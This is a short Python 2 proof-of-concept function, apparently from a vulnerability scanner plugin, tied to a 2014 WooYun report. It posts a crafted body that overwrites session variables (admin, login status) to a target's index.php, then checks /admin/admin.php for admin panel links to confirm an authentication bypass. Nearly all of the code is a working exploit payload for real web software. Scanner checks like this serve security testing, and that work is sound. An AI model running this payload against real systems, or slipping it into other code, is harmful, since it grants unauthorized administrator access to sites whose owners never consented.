poc_2014_0052.py 文件源码

def verify(cls, args):
        cookie = cookielib.CookieJar()
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))
        urllib2.install_opener(opener)
        postdata = "_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=300000000000000000000000\r\n"
        # get session
        request = urllib2.Request(args['options']['target'] + "/index.php", data=postdata)
        r = urllib2.urlopen(request)
        # login test
        request2 = urllib2.Request(args['options']['target'] + "/admin/admin.php", data=postdata)
        r = urllib2.urlopen(request2)
        content = r.read()
        if "admin_form.php?action=form_list&nav=list_order" in content:
            if "admin_main.php?nav=main" in content:
                args['success'] = True
                args['test_method'] = 'http://www.wooyun.org/bugs/wooyun-2014-059180'
                return args
        args['success'] = False
        return args